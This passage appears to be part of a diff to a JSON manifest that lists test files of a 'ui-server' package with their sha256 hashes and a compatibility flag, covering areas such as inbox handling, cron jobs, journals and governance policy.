"packages/ui-server/tests/client-turn-completion.test.ts":{"sha256":"f401f1c0edc10e33cea62f18acf2dc25f6926f5fd778443338677d6ac2891e7a","compatible":true}, + "packages/ui-server/tests/client-turn-isolation.test.ts":{"sha256":"46eb4155d3a169ff183d621fcd6159c2d37c6970c94dfcb381f230d5de981c12","compatible":true}, + "packages/ui-server/tests/client-turn-read-snapshot.test.ts":{"sha256":"cde0ee1e6e8ce4e023bdf20446e6fa68fda44472106ca40f02f235be822a094b","compatible":true}, + "packages/ui-server/tests/client-turn-receipt.test.ts":{"sha256":"e44e914a9254bbb1cee8e279afa35fe45f1e2878324788ffb138750bacbe0832","compatible":true}, + "packages/ui-server/tests/client-turn-stream-race.test.ts":{"sha256":"a42c12b3e75b6beb4a06db8722e057cf1c4cb130e24c837c5a6cbe1bef6873d6","compatible":true}, + "packages/ui-server/tests/close-cancels-shared-runs.test.ts":{"sha256":"49e7532a6abbc3333bd494091d48564de6845412e08e1dcb04f72a0797f9a48c","compatible":true}, + "packages/ui-server/tests/closing-clock-regressions.test.ts":{"sha256":"402b5afb27270e41c87fa8c60729e921b1d305ee3f173d3c31934b8cb3a876d7","compatible":true}, + "packages/ui-server/tests/code-change-history-runtime.test.ts":{"sha256":"ee92b005080e4273d646eeae83e4635d14a42f5659ac83bfe9b7329b03e1ddea","compatible":true}, + "packages/ui-server/tests/code-change-receipt.test.ts":{"sha256":"ff35a37205f2aa2bed4aadc8bc7d1d7e5832fac8dd9724874bb127652a14959c","compatible":true}, + "packages/ui-server/tests/combined-safety-review.test.ts":{"sha256":"c1078c35f7bd206217636ff3de3485a47133c43363f5b9c1adbd5739e19580ae","compatible":true}, + "packages/ui-server/tests/command-taint-recorder.test.ts":{"sha256":"132d8b85443c25cde5a5b814ec6a8309d92d0f14b23e6322f7c117efbe5a76f6","compatible":true}, + "packages/ui-server/tests/command-taint.test.ts":{"sha256":"9b10ff1c8f1de594a46d58e121bc5f0137ea3a8516aceee3001df4770ae40f73","compatible":true}, + "packages/ui-server/tests/compute-backend-paths.test.ts":{"sha256":"fbde5d565c022276716e344f5ea6860c849940b1e99e99f952c818a6afede846","compatible":true}, + "packages/ui-server/tests/compute-host.test.ts":{"sha256":"0ba48cd38cfddd5d877da61a7adb6d87fc1b8bbeaa7324b1f8c39fc09b0e8274","compatible":true}, + "packages/ui-server/tests/confirm-bash-env.test.ts":{"sha256":"cc2bdc1c415f11099def075000431619526354f9e5ff5cc4807fd7767bc0d9ee","compatible":true}, + "packages/ui-server/tests/containment-rows.test.ts":{"sha256":"0a657f710ae26a9d5707050809ec96925332848622d657820827c6700477633e","compatible":true}, + "packages/ui-server/tests/contextual-task-drain.test.ts":{"sha256":"d54b75fa1185447c0b6166847f4e95c0d4783f74ca4491219f4e94ef840b3271","compatible":true}, + "packages/ui-server/tests/conversation-history.test.ts":{"sha256":"0862b3dfed3c60ced9267908155bae8709c808705b1e6bf99d7c7e8504e74a2e","compatible":true}, + "packages/ui-server/tests/conversation-orientation.test.ts":{"sha256":"6dbec19acb4eaa950c1e50e50ef9280894c83da5c6037f6c6c875fb56b27d7df","compatible":true}, + "packages/ui-server/tests/conversation-storage.test.ts":{"sha256":"b884e37d7b4d03575eb5fe08a176f1d4eaada758eb8d5c72547d1439a560ea0c","compatible":true}, + "packages/ui-server/tests/core-queries.test.ts":{"sha256":"9b23eb82d6a817f1dbc913f8180e3ef9cc6302c6c7bea63d0df47b72c37a5121","compatible":true}, + "packages/ui-server/tests/credential-maintenance-exclusion.test.ts":{"sha256":"ccd5c77e11e4ad53c2463c55293078bb6bda14df80b56ebdf3c0425b323c4a34","compatible":true}, + "packages/ui-server/tests/cron-activity.test.ts":{"sha256":"d058e2f099838fed7f559c94a3ac4f39f2a49c98909984e926a20a2511070974","compatible":true}, + "packages/ui-server/tests/cron-bin.test.ts":{"sha256":"dadf29c72a1be4cafb47cd0f0029889acb8f9f18bf79a9b59a200135c1b1500f","compatible":true}, + "packages/ui-server/tests/cron-digest.test.ts":{"sha256":"e342013c163147d82bdd4dda1fb55086d14dae072c2ba8c87cbaba6b189bb053","compatible":true}, + "packages/ui-server/tests/cron-emit.test.ts":{"sha256":"da748b32fecec8c251a99d824ced123f07b2042244cb87d6a4af9bb41a974c8d","compatible":true}, + "packages/ui-server/tests/cron-maintain-provider-relay.test.ts":{"sha256":"de1772e94897ede250904e7668fbf32671b73bb25a5365b2a550e4763fc537cb","compatible":true}, + "packages/ui-server/tests/cron-module-discovery.test.ts":{"sha256":"4c885693113dd29a92a5b3b323a94cc7d284bbd25bd4f7e55af751002a10d284","compatible":true}, + "packages/ui-server/tests/cron-module-github-relay.test.ts":{"sha256":"c19fa9ec7fd173c90a46347ba6d600042f5be8965f561a6e156e314ed949af7c","compatible":true}, + "packages/ui-server/tests/cron-run-job.test.ts":{"sha256":"eb8b6d38d7be6266d4914fc03cf5f407d1d9c938b26197669cf091e13fb06acd","compatible":true}, + "packages/ui-server/tests/cron-scheduler.test.ts":{"sha256":"848fec13f0e43fe6a120978ba7d3f3093f8ecf45faf1d7a5839939b54e32ef6b","compatible":true}, + "packages/ui-server/tests/cron-scratch-prune.test.ts":{"sha256":"563ab25208ea74f11a44d23b795beca90ccb1c3e71130564c141f047be34e322","compatible":true}, + "packages/ui-server/tests/cron-sync.test.ts":{"sha256":"ca610c60003a36cdd926bea907393dc82efdab44703cb927177b83bd0d888cbc","compatible":true}, + "packages/ui-server/tests/db-migration-runner.test.ts":{"sha256":"8ec46ec28e66402bc9b06905df5515886c7a87bceef3dbde5c04f9eff9a7430d","compatible":true}, + "packages/ui-server/tests/db-startup-lock.test.ts":{"sha256":"22e89227cb8f4bb3c00b4a3d2e965a9036b416e572d7a9bdcca3b87b4daca2ea","compatible":true}, + "packages/ui-server/tests/db.test.ts":{"sha256":"68bcca249a160eab23edabcd07347c07a7704f870d58ac2972c2b8f59c40c406","compatible":true}, + "packages/ui-server/tests/declaration-surface.test.ts":{"sha256":"1f7ae2929731c36a466c46babe5927e010f7aed69f1352e137b9cfe12c3b745a","compatible":true}, + "packages/ui-server/tests/degraded-backend.test.ts":{"sha256":"94740e1cc5293ca4c54c47454044678e84a54caf498e93502ed3fa52e1e2b292","compatible":true}, + "packages/ui-server/tests/dialogue-account-ownership.test.ts":{"sha256":"3c6d286c867cd9a9d0672f3963d15061c091bca27701a715914cc4f12102d33f","compatible":true}, + "packages/ui-server/tests/dialogue-drain-deadline.test.ts":{"sha256":"61c741262bbfca8beeefb98ec1f970dcb4a1e075e568caa05242cc7588ffb90c","compatible":true}, + "packages/ui-server/tests/dialogue-owner-drain.test.ts":{"sha256":"9769e22769736d497432487856978834cb481f15f76e43ed481c2c9b9bd6adf8","compatible":true}, + "packages/ui-server/tests/dialogue-queue-adoption.test.ts":{"sha256":"a661b6012e64b2e394cc49c3593a06dfb9713944922ee5083d4f614595e56815","compatible":true}, + "packages/ui-server/tests/dialogue-storage.test.ts":{"sha256":"2c0a42e3cfc3b3b77bd81e349496a5a2f6ffb78a571575c764dd2d6f0d008018","compatible":true}, + "packages/ui-server/tests/draft-snapshots.test.ts":{"sha256":"9916829a62e1ac522b5b095da6db13aa221089d40e0871a691dd3155183da0d9","compatible":true}, + "packages/ui-server/tests/drafts-http.test.ts":{"sha256":"a60736e361f3db8bca64c6d1245e009e7f964ae9bd41744259b4be433fb91b62","compatible":true}, + "packages/ui-server/tests/drafts-send.test.ts":{"sha256":"05163b6a37fc27678d6b07899bd5a61eb09bc8c13f0c97046c8d759baa84267b","compatible":true}, + "packages/ui-server/tests/drafts-settings-offloop.test.ts":{"sha256":"fad648e91845b66136414dbd31d72fbc14cf364d8bcafd64d16a8bb3fd9f8adf","compatible":true}, + "packages/ui-server/tests/drafts-store.test.ts":{"sha256":"c6d047f0e516eb4604b1d6cc9416cfcd14d9a692b00ee04ccda89c0b95993826","compatible":true}, + "packages/ui-server/tests/egress-refusal-matrix.test.ts":{"sha256":"96e04ec10e9cb275c0944dc8cd9b5a5e0a7ea38647f13d19efff2fdbae0f97e4","compatible":true}, + "packages/ui-server/tests/env.test.ts":{"sha256":"92a8b6075db7c85a0cd18027302d016e58490d423b3a2943c5f45c610c059a3c","compatible":true}, + "packages/ui-server/tests/external-speech.test.ts":{"sha256":"504adaecf3775b1f38f63d6803e7790883097b3033d60666660dcb52d8a260e4","compatible":true}, + "packages/ui-server/tests/extraction-admission.test.ts":{"sha256":"4391144472bc2dab12ebaa6b911082f4134613cd03c3ff11cfad5c64997915b1","compatible":true}, + "packages/ui-server/tests/extraction-band-requalification.test.ts":{"sha256":"4be572c0b6d2426763f3e7eb03364b0b95945fd8d318ddaba6ef9fc8d00c7ed4","compatible":true}, + "packages/ui-server/tests/extraction-classifier-labelled.test.ts":{"sha256":"cc87579c5682c582b107907d1a9f26f4772e5cef42a1e5eee6df854e24545eea","compatible":true}, + "packages/ui-server/tests/extraction-judge.test.ts":{"sha256":"adebd48a0cfe6bc93c6d50a63590a57439cbdff08745be4f3c36948eaf9e1fb0","compatible":true}, + "packages/ui-server/tests/files-html-preview.test.ts":{"sha256":"0b4b9c18526b1c4b713ec4f645ba64e767e96afbc3be0724ee70872c1fea4402","compatible":true}, + "packages/ui-server/tests/files-raw-range.test.ts":{"sha256":"5587756858126710c8620f3d44af87e415d5590ee9d6fd26825322873ec01b58","compatible":true}, + "packages/ui-server/tests/files-walker.test.ts":{"sha256":"0f156c577d82b5c44c316fe51f67930c9dd9b6f9acfbfbbdae77102a0282f0c2","compatible":true}, + "packages/ui-server/tests/form-limits-config.test.ts":{"sha256":"9dbd04e2148cf362f50acc3c421444f8a63adc760cd5d68b84473cb435e9de03","compatible":true}, + "packages/ui-server/tests/frame-headers.test.ts":{"sha256":"2a54bda91eb9fa4923ed6269112b0dee2daee8d508dc33911001881223ad864b","compatible":true}, + "packages/ui-server/tests/frontmatter-data-only.test.ts":{"sha256":"da408d1cd0c93c1a6d2d555ac7d1b9ff11edaae34eead24f94a74e96f3a7fab6","compatible":true}, + "packages/ui-server/tests/gemini-conversation.test.ts":{"sha256":"2f4fe1a6d16bd11589525e5107be445949b41e5a12beb8ef777f04cf7f10a74e","compatible":true}, + "packages/ui-server/tests/gemini-speech.test.ts":{"sha256":"98cc5fa39d4ff58cdf0982331fa0aa2f294981abbdc4d5245baaa609375f5f6b","compatible":true}, + "packages/ui-server/tests/geo-config.test.ts":{"sha256":"586edcfb10840486454fa04d3c92266195ff5c9e0d416a5e084e87d05cad75c9","compatible":true}, + "packages/ui-server/tests/geo-route.test.ts":{"sha256":"c104d2ec200d0a2ae60e0b123705b706821cffbbdd34c0fbe9979657e01770f7","compatible":true}, + "packages/ui-server/tests/github-details.test.ts":{"sha256":"15fc6caac6549d339b7a33bc728f4c4664bb3dc3ddb4bec55a105204ce59c088","compatible":true}, + "packages/ui-server/tests/github-network-card.test.ts":{"sha256":"d704d327469e17bf4cd9bcd8cd8f522eff52e4a6af03471db0cf540ff713bf7d","compatible":true}, + "packages/ui-server/tests/github-reference-access.test.ts":{"sha256":"c325566bbaea41b00df57f14ea6e254914f9e320b3933874c08373392a07e5ad","compatible":true}, + "packages/ui-server/tests/github-reference-git.test.ts":{"sha256":"e4bca6724b9157026132b58548c56bbe0059c5d1874c8909a8915ebc6162e87b","compatible":false}, + "packages/ui-server/tests/github-reference-identity.test.ts":{"sha256":"51fe9b3fb3e7429a614ea5d9ccc6766aceb3e4fd3599878e8efb5f5eb59563b8","compatible":true}, + "packages/ui-server/tests/github-reference-wire.test.ts":{"sha256":"f05d3a3d18b1876c73f9397e4bbc27364316bb2de02f87cd2d3036696bfae5e9","compatible":true}, + "packages/ui-server/tests/github-tools-host.test.ts":{"sha256":"f7a48c0438bd744312a068f457dc64367a1ad2f5abd25d96e427897f19648bd4","compatible":true}, + "packages/ui-server/tests/github-write-tools.test.ts":{"sha256":"6870d337d218cab11a1ff20cd79b0c9c432e7c754782b30cd30dc6f2be9972eb","compatible":true}, + "packages/ui-server/tests/governance-events-http.test.ts":{"sha256":"d36efaf37a35769c16106d8cb41addc3b6b4636a04748b257b617b27860c828e","compatible":true}, + "packages/ui-server/tests/governance-events.test.ts":{"sha256":"66bc0938e55f623532828b4744534badb44e54b5f676de7b15776ae8e361e5bf","compatible":true}, + "packages/ui-server/tests/governance-policy-application.test.ts":{"sha256":"49575370a2dc119148620a9765b597f89e8842bb4a3bd2da70ac97d9b596b8ea","compatible":true}, + "packages/ui-server/tests/governance-policy.test.ts":{"sha256":"e84551a9937f3b3500cc84cccded690561adab987087a4a157876d3541445617","compatible":true}, + "packages/ui-server/tests/governance-roadblock-report.test.ts":{"sha256":"3e8fe8ee581308941c9c22ed485769e19d954b72f6e85b9f5ecc8d7c786c37bd","compatible":true}, + "packages/ui-server/tests/governance-roadblocks.test.ts":{"sha256":"4d9e11ac76f2e13280c60d78c557a931ec2aa38e5253b8f836e1c34ac66b7dba","compatible":true}, + "packages/ui-server/tests/governed-manifest.test.ts":{"sha256":"73e536da9f0494a8103796e01b85f5c1068f815272301f674be4460837c995f9","compatible":true}, + "packages/ui-server/tests/gpt-live-conversation.test.ts":{"sha256":"bef0e4bb725ecc79cf1efa265e57f39337cc8e25bbf3401d3d8163c2478a1a9a","compatible":true}, + "packages/ui-server/tests/graph-error-mapping.test.ts":{"sha256":"cceb860eea44178ecd4afdab362048eb34ae3b3019b3c0c2ab948d81f6adcf63","compatible":true}, + "packages/ui-server/tests/graph-routes.test.ts":{"sha256":"bff0252e4e1af440e3d39eb1d6f0c1760a9721264e6822ff999f4acd187b92f7","compatible":true}, + "packages/ui-server/tests/helpers/test-app.test.ts":{"sha256":"57c091b76cfb19b5911b375291e193d1fced067c5d739e928402f70ff6861057","compatible":true}, + "packages/ui-server/tests/host-capability-note.test.ts":{"sha256":"298ce73a5aad27388d92e5e53cc425e1c0731cee48e43d824c7a1a969a0231ed","compatible":true}, + "packages/ui-server/tests/host-execution-boundary.test.ts":{"sha256":"d1c9f47d04107374f783b7bcd0e04ef74df86565a270705b874f4124b6e2b4c8","compatible":true}, + "packages/ui-server/tests/host-fallback-folder-policy.test.ts":{"sha256":"28d59b28e59a2de3a9322ea9b1ca1a15ed52c22b14d8986b68261ceff0eb2b1e","compatible":false}, + "packages/ui-server/tests/host-fallback-gates.test.ts":{"sha256":"900abed3f2b5e526c6e8b866acc50bc262385babd10a0dbb33f9fc4500dc0cd7","compatible":true}, + "packages/ui-server/tests/host-fallback-transition.test.ts":{"sha256":"0da3e3cdc0e2856d666d9b7aaa4f31a11e055cb4430dc058342cda3bd8b44ee8","compatible":true}, + "packages/ui-server/tests/host-git-credentials.test.ts":{"sha256":"81b0f20f1e94f8f6775a2f2a58b863c2e44d2112cefb67a1ddac5548dd2af451","compatible":true}, + "packages/ui-server/tests/host-processes.test.ts":{"sha256":"5840f1477706692acc248d8c5bda27890df01990b98e9cf7e01b2ccad0bf7935","compatible":true}, + "packages/ui-server/tests/host-publication-safety.test.ts":{"sha256":"25383a63652a9c7216c374bbd2734112359a581e24b90a9f49d2a492de07d770","compatible":true}, + "packages/ui-server/tests/host-unpinned-folder-plan.test.ts":{"sha256":"1d9210daeda97a73b316c671dd1d0435c38d6ce642e3eb82f6a31e6cdbc45d3c","compatible":true}, + "packages/ui-server/tests/host-version-requirements.test.ts":{"sha256":"04d775fb3ff6c9bd8c4c84484100328105f593b6011b16804ae33b4f7da0f4fe","compatible":true}, + "packages/ui-server/tests/http-cli-errors.test.ts":{"sha256":"67fef4400ad9f8e436ea95c44dab53e051d73c0b07f377c790fad87dc03451a4","compatible":true}, + "packages/ui-server/tests/http-discovery-voice.test.ts":{"sha256":"d29c1f3af90ae170aa278999d2d0d74eee61447d3cbb1bd4a5915eb1aab4857d","compatible":true}, + "packages/ui-server/tests/http-index-queries.test.ts":{"sha256":"69787aacc52e8da212f05e15e9a50dd66625fe9c1ab2804948afd8a4176c96e8","compatible":true}, + "packages/ui-server/tests/http-internal-mounts.test.ts":{"sha256":"20c820680e6f9d3e16e94d15fbb71427d4e14be533fddad6e1a6e4b18624d814","compatible":true}, + "packages/ui-server/tests/http-inventory.test.ts":{"sha256":"095c7b61ccedd5160c226c2c922fb69bbb27891a26104b6b9b974c23a450052a","compatible":true}, + "packages/ui-server/tests/http-mount-pool.test.ts":{"sha256":"fba7bb8f5c62777f55ba84747695f4a583d2f2ca7faa3937b07f4b214f8d5b1a","compatible":true}, + "packages/ui-server/tests/http-mount-timers.test.ts":{"sha256":"f374a615391509696abc4a33a6db20c15c4dd67be801d65a70c6b9133d0431b1","compatible":true}, + "packages/ui-server/tests/http-object-bodies.test.ts":{"sha256":"528a26370840e8883a6a273a29fe155418d8f60788216aefdfaeaeea164f7777","compatible":true}, + "packages/ui-server/tests/http-principal-boundaries.test.ts":{"sha256":"5fc3c71a415c83209bd31b0343148308abf284c1c527c10f59d23697c1a328a0","compatible":true}, + "packages/ui-server/tests/http-supported-mounts.test.ts":{"sha256":"e668890da5f43b0825f065002f444955e8d28e554479dd1d5d560fcebc5ecf8a","compatible":true}, + "packages/ui-server/tests/http-validation.test.ts":{"sha256":"00234071b88092fc214523ab0dd2f37a43654887ae8439cb0b2175610fdd01e4","compatible":true}, + "packages/ui-server/tests/http-websocket-admission.test.ts":{"sha256":"b6a6b8a1d4a76095b6af56b938053349f536e24936973811613715f531b58ac5","compatible":true}, + "packages/ui-server/tests/hygiene-media-effects.test.ts":{"sha256":"0c399091ffa0459d460c1cc2ae81b53812bc2d4956bc76ffa9cec28f6387c58c","compatible":true}, + "packages/ui-server/tests/hygiene-review-media.test.ts":{"sha256":"ba7502e57f47f5f8279f7a9f225e265c65359d8a0e3f10cc7e1ad60f1ca8f0d6","compatible":true}, + "packages/ui-server/tests/hygiene-review.test.ts":{"sha256":"40a4acc8aaa9fee628edfea13a2a5953fde374ec26ada7def9470891e7a61f7d","compatible":true}, + "packages/ui-server/tests/inbox-bin.test.ts":{"sha256":"9730e4840ddff1d674f30d8e90dc684bb30f288a57e5a9319b96ca5049c6f6b6","compatible":true}, + "packages/ui-server/tests/inbox-bridge-tools.test.ts":{"sha256":"a2883d8dbf0e026772f4091ea869454b0cf692afaca44368d1416935102b06bd","compatible":true}, + "packages/ui-server/tests/inbox-budget.test.ts":{"sha256":"f04b02d60cbcbd1ab50a1c01eaeb06b66f5c8005a3e4a6e19d5b1b19e6bf1cb7","compatible":true}, + "packages/ui-server/tests/inbox-dispatch-ae.test.ts":{"sha256":"728651597383f4fc0c608a5f85b0770361fad83798a7cc681a3dd390117a6599","compatible":true}, + "packages/ui-server/tests/inbox-dispatcher.test.ts":{"sha256":"ddabb279e6bfbefbdc45a363bb715afb6b91c1557c82161353bc73366eb2524e","compatible":true}, + "packages/ui-server/tests/inbox-escalate.test.ts":{"sha256":"7bcb2504ec8762bfb323b8c5fb4db56b324d5d8df63ace973abd82f459a5aa62","compatible":true}, + "packages/ui-server/tests/inbox-intake-holds.test.ts":{"sha256":"afcd375fb86cff6070f547f997cb212b8a3128ca20fc85951f5f80186477cb0f","compatible":true}, + "packages/ui-server/tests/inbox-intake.test.ts":{"sha256":"9cc5e14bc4c2f9a975928b14985c3fe6d08881cd82247f831195af346fe9ab0f","compatible":true}, + "packages/ui-server/tests/inbox-notify.test.ts":{"sha256":"ddca2bbb48c46d213f394537ee645ab405851872d363d8a82273d6bce3ea7b96","compatible":true}, + "packages/ui-server/tests/inbox-resolve.test.ts":{"sha256":"7f17d1145502f19fdcb9fcbbcb4016144bcd2a153546306778343e27506f3ae9","compatible":true}, + "packages/ui-server/tests/inbox-runtime.test.ts":{"sha256":"372b80140c3e27c6e95d60eb3bc9fcca814937f306b27204e4641f2558eee7ce","compatible":true}, + "packages/ui-server/tests/inbox-snapshot.test.ts":{"sha256":"aedd8cb19fe032ebd9d7b45c681ccf810f01cdf7c4b1c4b83baf485af128d1dc","compatible":true}, + "packages/ui-server/tests/inbox-store.test.ts":{"sha256":"f7eefb053fe9c4acff2e99d5844f4a1dedfb94f63785b7eb0a2a4700edc360ee","compatible":true}, + "packages/ui-server/tests/inbox-stream.test.ts":{"sha256":"b3b97fedd9f0d0c36d2e000260fdbf00077a3b549e76b9b590ad74d7bc12d432","compatible":true}, + "packages/ui-server/tests/inbox-triage.test.ts":{"sha256":"8294cc5e64cf4ce6363e1241aa595ad4b5183cab64cdf19a83d8f5c5221a587f","compatible":true}, + "packages/ui-server/tests/inbox-unwind.test.ts":{"sha256":"ff77f2bb5bdabb1d43993b8c29915579119843a453387a588137de81b3492ed8","compatible":true}, + "packages/ui-server/tests/inbox-writes-offloop.test.ts":{"sha256":"c5470f5a3e085779f7a4d443971e00481a4f5afd473d104c06f6c393595031ef","compatible":true}, + "packages/ui-server/tests/index-directory.test.ts":{"sha256":"23b96a56380731b135ed95c8d40e5a45c58d6818f92c5bdc6d47473637bc7425","compatible":true}, + "packages/ui-server/tests/index-observation-cap.test.ts":{"sha256":"dc5fcd22825140780c19b68df3f1e80a51b0f15a45d7e9ab850c5c569d533d4a","compatible":true}, + "packages/ui-server/tests/index-read-barrier.test.ts":{"sha256":"b3c78235de518664cc9c4752378924e455495cee92ab13a2633fee5d5c06af00","compatible":true}, + "packages/ui-server/tests/index-update-receipt.test.ts":{"sha256":"ea7806b00223ee4610b4fe5d7be389c92bdee6da3e2c2fc95cc7c427a0b7b5fd","compatible":true}, + "packages/ui-server/tests/ingestion-taint.test.ts":{"sha256":"422bcf2414b0e10dfb68a5e8c2356b50cb320c49ebe3a58832862d22604b232e","compatible":true}, + "packages/ui-server/tests/integration/brain-db-schema-contract.test.ts":{"sha256":"9e2e9b37099c3d586cfdb480b0aca7770521c35e3aad9f0956212a6a8b23b122","compatible":true}, + "packages/ui-server/tests/integration/inbox-bridge-host.test.ts":{"sha256":"4cb47dbdbd77efebb40856417d25caf69f3190ea27f2b35edf6f5af883d843d9","compatible":true}, + "packages/ui-server/tests/integration/inbox-dispatch-app.test.ts":{"sha256":"8b402ed50e3242199c7ff317fba641679255666186300c5d0d1b3b776d4c318c","compatible":true}, + "packages/ui-server/tests/integration/inbox-dispatch-recovery.test.ts":{"sha256":"8786736559d078b1ba7f00e4891e33b7c00f6ae7e465807389a473e45c5ad5ff","compatible":true}, + "packages/ui-server/tests/integration/inbox-socket.test.ts":{"sha256":"4f8b59c22b380953d062729ffa006e4bad2c84abc21893e7117be43922327823","compatible":true}, + "packages/ui-server/tests/integration/real-socket-answers.test.ts":{"sha256":"f684adcd999b33f24ea5f2c58bbd0e1266cdf7531bcf5c2edfb4308c7ef14e29","compatible":true}, + "packages/ui-server/tests/integration/real-socket.test.ts":{"sha256":"e2fd7985971a7d8acfe5a4923bcface249c0ce3e4170f3acf1261508655d8174","compatible":true}, + "packages/ui-server/tests/interactive-share.test.ts":{"sha256":"68821430d38ff1b9043b2aadb1f0e763f591c2862742d8f80ab8e5664a7a5b10","compatible":true}, + "packages/ui-server/tests/jev-probe-concurrency.test.ts":{"sha256":"3569b102a94d54f1787fd1a1db9aaf491ef6d27fddca4400e006dfb4b8672efb","compatible":true}, + "packages/ui-server/tests/jobs-board-defaults-http.test.ts":{"sha256":"9017361e5b9d4de672a4ecb7cdc3387b73053a9244a68f7a18662f5a95019213","compatible":true}, + "packages/ui-server/tests/jobs-board-selection-http.test.ts":{"sha256":"3a9e6f7b04d32724b6df5904b82744b4920c4fabdc4b24735c43278e00208d22","compatible":true}, + "packages/ui-server/tests/journal-accounting.test.ts":{"sha256":"069b3c2f56ff0ff7b9ff07787e80d5c1038cd767d3eaac5acf810f3bad8cab9a","compatible":true}, + "packages/ui-server/tests/journal-activity-compatibility.test.ts":{"sha256":"4f75d7a4f5aab26738b01bd1e731c1b15a660c6776c7311a0f60f196f3370cda","compatible":true}, + "packages/ui-server/tests/journal-code-receipt-upgrade.test.ts":{"sha256":"cf8d5c14beb49609488cedfc65d5098cee9daceb5c1fbff59e0bfa02a3d90ed8","compatible":true}, + "packages/ui-server/tests/journal-database.test.ts":{"sha256":"a4e6c8aafbd29fd33d9864f417adc08711ad766321aa94f5dc612cc17988e9d1","compatible":true}, + "packages/ui-server/tests/journal-directory.test.ts":{"sha256":"38963a4d94637fc23f5416012a3fc25c6f4f2cbfd6b92b51c8d5d7a116fbc505","compatible":true}, + "packages/ui-server/tests/journal-idle-maintenance.test.ts":{"sha256":"a7539c7b6c3b09f34637275d8f91f9f2d67cddd5b27b8bcaa2263a3a645ec02f","compatible":true}, + "packages/ui-server/tests/journal-index-exclusion.test.ts":{"sha256":"4c52d2cc38b09dae5248c40a3c976a7773e439780b1550d4e6e203453ce3653b","compatible":true}, + "packages/ui-server/tests/journal-index-metadata-only.test.ts":{"sha256":"33b902117f509941146a1a3ce0526fe1100c5d0cc580fa06a298f960dd0e8d45","compatible":true}, + "packages/ui-server/tests/journal-index-purge.test.ts":{"sha256":"ddd5b9010f239788afcaeef174e946927fa0f965050a33465ddbc5bf1c26090e","compatible":true}, + "packages/ui-server/tests/journal-kept-files.test.ts":{"sha256":"423746513b6a50386bda4931ef04e2fe60f988b92c5a50a6e0f0991e0ed83a04","compatible":true}, + "packages/ui-server/tests/journal-ledger.test.ts":{"sha256":"71177b87ac9a738ec4a0f0626bc60d953ba0f4392a41deaaa7b0a51e2c6837bd","compatible":true}, + "packages/ui-server/tests/journal-object-index.test.ts":{"sha256":"25038c4609041d565c29cd2273ed6f848acfbe844aa197a9812a907ae9c11559","compatible":true}, + "packages/ui-server/tests/journal-objects-async.test.ts":{"sha256":"502a3840d5db5773fc38f74a9409bb4a80a8c9fb6fbac393a828c0ce5b53f9b5","compatible":true}, + "packages/ui-server/tests/journal-objects.test.ts":{"sha256":"9cdea33c2d784f792b9492fcf9d9d29aae5c3e5cfb670ed6e474706e9d93a79a","compatible":true}, + "packages/ui-server/tests/journal-observation-batch.test.ts":{"sha256":"4a9f842f2a49e392731ee34215e8a1fccab09872dfe8d9e99dff191800a0239e","compatible":true}, + "packages/ui-server/tests/journal-observation-counters.test.ts":{"sha256":"d244d5d6c11b62263279eca3b37ac1e14f00f6529d7bd844ef05af80057abaf0","compatible":true}, + "packages/ui-server/tests/journal-observation-trace.test.ts":{"sha256":"a665f5e8a74003dd868ba29f260e634b6837c4a41c680d5a575195b10de9e5c2","compatible":true}, + "packages/ui-server/tests/journal-reference-cleanup.test.ts":{"sha256":"eb07fdb95b92bfbb7a395a985b29ef2f067dd7a478eea92a0df2f7f5ba95ac5e","compatible":true}, + "packages/ui-server/tests/journal-scrub-upgrade.test.ts":{"sha256":"efe25d1ca1f66e4e9f4c89e034d2556ed7c23350c50c3229d4932531d0893dba","compatible":true}, + "packages/ui-server/tests/journal-scrub.test.ts":{"sha256":"c74a2fa95e91d993fb3569b59c9a9a395c8f87cf2dbb2016bb9653e6d03e2e35","compatible":true}, + "packages/ui-server/tests/journal-snapshot.test.ts":{"sha256":"de6ad26ee4cbcd98be2bd279d462a7d01d4d4fcd47124aef3b44b456959e65d7","compatible":true}, + "packages/ui-server/tests/journal-write-worker.test.ts":{"sha256":"cf5d4b3b674a6cc437154a89f5d088cb585e20392eb6388e7a29e6653117eafd","compatible":true}, + "packages/ui-server/tests/journal-writer-delta.test.ts":{"sha256":"1121cd8476df93bca97c858c012a39080432d31136c2dfc1b33e2a4b2335d64f","compatible":true}, + "packages/ui-server/tests/json-lines.test.ts":{"sha256":"209db52efebc7bba430dd67a83734453de9c57f3814a5b48184dfd7e94c70ffc","compatible":true}, + "packages/ui-server/tests/keyterm-builder.test.ts":{"sha256":"db4cdcd3426af324ba6393338000c52f22200a57df0d0f65d0075c2539582e37","compatible":true}, + "packages/ui-server/tests/lifecycle-wire-compatibility.test.ts":{"sha256":"7cffd44ee27aef3fde254fc128c401b809b16ff68c5e5dcd30f115063a629dc3","compatible":true}, + "packages/ui-server/tests/live-conversation-helper.test.ts":{"sha256":"6a52b77535914939e6fa6713fc6b9bcb0b6ea65e5cd6470086be7e1768404431","compatible":true}, + "packages/ui-server/tests/live-history-adapters.test.ts":{"sha256":"34e2ed51a23fd74d27fbd634bc430c010697008532a0dc3bf83eb6b93d8891b0","compatible":true}, + "packages/ui-server/tests/live-history-order.test.ts":{"sha256":"82486c28bcb7bb85d70bb6c3658bcd48f6bd4d3e9227fae4f46a010b3c8fd384","compatible":true}, + "packages/ui-server/tests/live-history-source.test.ts":{"sha256":"85bb9ea5f14839c7bd95d43b119b41e2377fe5c8cf3a39d5594ef15562a1679e","compatible":true}, + "packages/ui-server/tests/live-history-track.test.ts":{"sha256":"9cae1a1c057eb46f0f94f711ee0fc9b11b97d778d59e89748be6dcf81eff550c","compatible":true}, + "packages/ui-server/tests/live-persona-adapters.test.ts":{"sha256":"dabf6a011584c4bab4bee3d581f5bb9ea64094451708fa687ecb65dc564f40de","compatible":true}, + "packages/ui-server/tests/live-persona-host.test.ts":{"sha256":"1925fdb19df4c7f6edcd36bcc9ab4d2f6203e96a473e8cc18ed11e708be6df54","compatible":true}, + "packages/ui-server/tests/live-personas.test.ts":{"sha256":"bb13f48b72fbd86bad21ea04b34b46a9c0801f867ddf85a6eb9ca8c729828a65","compatible":true}, + "packages/ui-server/tests/live-provider-selection.test.ts":{"sha256":"2722012885078a193add52bb6ea28fb622e838130aa48fa8649ffac228673f5e","compatible":true}, + "packages/ui-server/tests/live-safety-admission.test.ts":{"sha256":"c71b54de126fb0213b846b942973e1976d862fa7693e1347ffcd7de61f4a25be","compatible":true}, + "packages/ui-server/tests/maintenance-cancellation-cleanup.test.ts":{"sha256":"2b2deffb9e098d3e6bfbbd5d20032219537962eb0fcac469d6f38bf92d4b3ea2","compatible":true}, + 